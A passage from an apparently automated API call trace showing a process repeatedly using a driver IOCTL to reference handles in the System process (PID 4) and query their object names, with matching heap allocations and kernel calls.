(in: Object=0xfffffa8002f66340, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.028] ObfDereferenceObject (Object=0xfffffa8002f66340) returned 0x2 [0130.028] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.028] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.028] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0130.028] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.028] PsAcquireProcessExitSynchronization () returned 0x0 [0130.028] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.028] ObReferenceObjectByHandle (in: Handle=0xffffffff800003d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f64f20, HandleInformation=0x0) returned 0x0 [0130.028] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.028] PsReleaseProcessExitSynchronization () returned 0x2 [0130.028] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.028] ObQueryNameString (in: Object=0xfffffa8002f64f20, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.028] ObfDereferenceObject (Object=0xfffffa8002f64f20) returned 0x1 [0130.028] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.028] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.028] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0130.028] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.028] PsAcquireProcessExitSynchronization () returned 0x0 [0130.028] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.028] ObReferenceObjectByHandle (in: Handle=0xffffffff800003dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028dde80, HandleInformation=0x0) returned 0x0 [0130.028] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.028] PsReleaseProcessExitSynchronization () returned 0x2 [0130.028] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.028] ObQueryNameString (in: Object=0xfffffa80028dde80, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.029] ObfDereferenceObject (Object=0xfffffa80028dde80) returned 0x2 [0130.029] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.029] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.029] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0130.029] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.029] PsAcquireProcessExitSynchronization () returned 0x0 [0130.029] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.029] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f69480, HandleInformation=0x0) returned 0x0 [0130.029] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.029] PsReleaseProcessExitSynchronization () returned 0x2 [0130.029] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.029] ObQueryNameString (in: Object=0xfffffa8002f69480, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.029] ObfDereferenceObject (Object=0xfffffa8002f69480) returned 0x2 [0130.029] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.029] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.029] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.029] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.029] PsAcquireProcessExitSynchronization () returned 0x0 [0130.029] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.029] ObReferenceObjectByHandle (in: Handle=0xffffffff800003e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031dec90, HandleInformation=0x0) returned 0x0 [0130.029] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.029] PsReleaseProcessExitSynchronization () returned 0x2 [0130.029] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.029] ObQueryNameString (in: Object=0xfffffa80031dec90, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.029] ObfDereferenceObject (Object=0xfffffa80031dec90) returned 0x1 [0130.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.030] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.030] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.030] PsAcquireProcessExitSynchronization () returned 0x0 [0130.030] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.030] ObReferenceObjectByHandle (in: Handle=0xffffffff800003ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031de700, HandleInformation=0x0) returned 0x0 [0130.030] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.030] PsReleaseProcessExitSynchronization () returned 0x2 [0130.030] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.030] ObQueryNameString (in: Object=0xfffffa80031de700, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.030] ObfDereferenceObject (Object=0xfffffa80031de700) returned 0x2 [0130.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.030] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0130.030] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.030] PsAcquireProcessExitSynchronization () returned 0x0 [0130.030] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.030] ObReferenceObjectByHandle (in: Handle=0xffffffff800003f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f33b0, HandleInformation=0x0) returned 0x0 [0130.030] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.030] PsReleaseProcessExitSynchronization () returned 0x2 [0130.030] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.030] ObQueryNameString (in: Object=0xfffffa80031f33b0, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.030] ObfDereferenceObject (Object=0xfffffa80031f33b0) returned 0x2 [0130.030] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.030] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.030] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0130.031] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.031] PsAcquireProcessExitSynchronization () returned 0x0 [0130.031] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.031] ObReferenceObjectByHandle (in: Handle=0xffffffff800003fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031de920, HandleInformation=0x0) returned 0x0 [0130.031] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.031] PsReleaseProcessExitSynchronization () returned 0x2 [0130.031] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.031] ObQueryNameString (in: Object=0xfffffa80031de920, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.031] ObfDereferenceObject (Object=0xfffffa80031de920) returned 0x1 [0130.031] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.031] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.031] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0130.031] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.031] PsAcquireProcessExitSynchronization () returned 0x0 [0130.031] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.031] ObReferenceObjectByHandle (in: Handle=0xffffffff80000404, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f649e0, HandleInformation=0x0) returned 0x0 [0130.031] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.031] PsReleaseProcessExitSynchronization () returned 0x2 [0130.031] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.031] ObQueryNameString (in: Object=0xfffffa8002f649e0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.031] ObfDereferenceObject (Object=0xfffffa8002f649e0) returned 0x1 [0130.031] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.031] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.031] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0130.031] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.031] PsAcquireProcessExitSynchronization () returned 0x0 [0130.031] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.031] ObReferenceObjectByHandle (in: Handle=0xffffffff80000408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800bbffc60, HandleInformation=0x0) returned 0x0 [0130.032] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.032] PsReleaseProcessExitSynchronization () returned 0x2 [0130.032] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.032] ObQueryNameString (in: Object=0xfffffa800bbffc60, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.032] ObfDereferenceObject (Object=0xfffffa800bbffc60) returned 0x1 [0130.032] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.032] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.032] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0130.032] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.032] PsAcquireProcessExitSynchronization () returned 0x0 [0130.032] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.032] ObReferenceObjectByHandle (in: Handle=0xffffffff8000040c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f4dc0, HandleInformation=0x0) returned 0x0 [0130.032] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.032] PsReleaseProcessExitSynchronization () returned 0x2 [0130.032] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.032] ObQueryNameString (in: Object=0xfffffa80031f4dc0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.032] ObfDereferenceObject (Object=0xfffffa80031f4dc0) returned 0x2 [0130.032] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.032] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.032] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x16c, lpOverlapped=0x0) returned 1 [0130.032] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.032] PsAcquireProcessExitSynchronization () returned 0x0 [0130.032] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.033] ObReferenceObjectByHandle (in: Handle=0xffffffff80000410, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f38a0, HandleInformation=0x0) returned 0x0 [0130.033] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.033] PsReleaseProcessExitSynchronization () returned 0x2 [0130.033] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.033] ObQueryNameString (in: Object=0xfffffa80031f38a0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.033] ObfDereferenceObject (Object=0xfffffa80031f38a0) returned 0x2 [0130.033] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.033] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.033] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.033] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.033] PsAcquireProcessExitSynchronization () returned 0x0 [0130.033] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.033] ObReferenceObjectByHandle (in: Handle=0xffffffff80000418, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f35f0, HandleInformation=0x0) returned 0x0 [0130.033] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.033] PsReleaseProcessExitSynchronization () returned 0x2 [0130.033] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.033] ObQueryNameString (in: Object=0xfffffa80031f35f0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.033] ObfDereferenceObject (Object=0xfffffa80031f35f0) returned 0x1 [0130.033] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.033] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.033] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.033] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.033] PsAcquireProcessExitSynchronization () returned 0x0 [0130.033] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.033] ObReferenceObjectByHandle (in: Handle=0xffffffff8000041c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f4850, HandleInformation=0x0) returned 0x0 [0130.033] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.034] PsReleaseProcessExitSynchronization () returned 0x2 [0130.034] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.034] ObQueryNameString (in: Object=0xfffffa80031f4850, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.034] ObfDereferenceObject (Object=0xfffffa80031f4850) returned 0x2 [0130.034] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.034] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.034] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.034] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.034] PsAcquireProcessExitSynchronization () returned 0x0 [0130.034] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.034] ObReferenceObjectByHandle (in: Handle=0xffffffff80000498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032afae0, HandleInformation=0x0) returned 0x0 [0130.034] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.034] PsReleaseProcessExitSynchronization () returned 0x2 [0130.034] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.034] ObQueryNameString (in: Object=0xfffffa80032afae0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.034] ObfDereferenceObject (Object=0xfffffa80032afae0) returned 0x1 [0130.034] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.034] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.034] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.034] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.034] PsAcquireProcessExitSynchronization () returned 0x0 [0130.034] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.034] ObReferenceObjectByHandle (in: Handle=0xffffffff800004a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032a53f0, HandleInformation=0x0) returned 0x0 [0130.034] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.034] PsReleaseProcessExitSynchronization () returned 0x2 [0130.034] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.034] ObQueryNameString (in: Object=0xfffffa80032a53f0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.035] ObfDereferenceObject (Object=0xfffffa80032a53f0) returned 0x1 [0130.035] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.035] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.035] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, 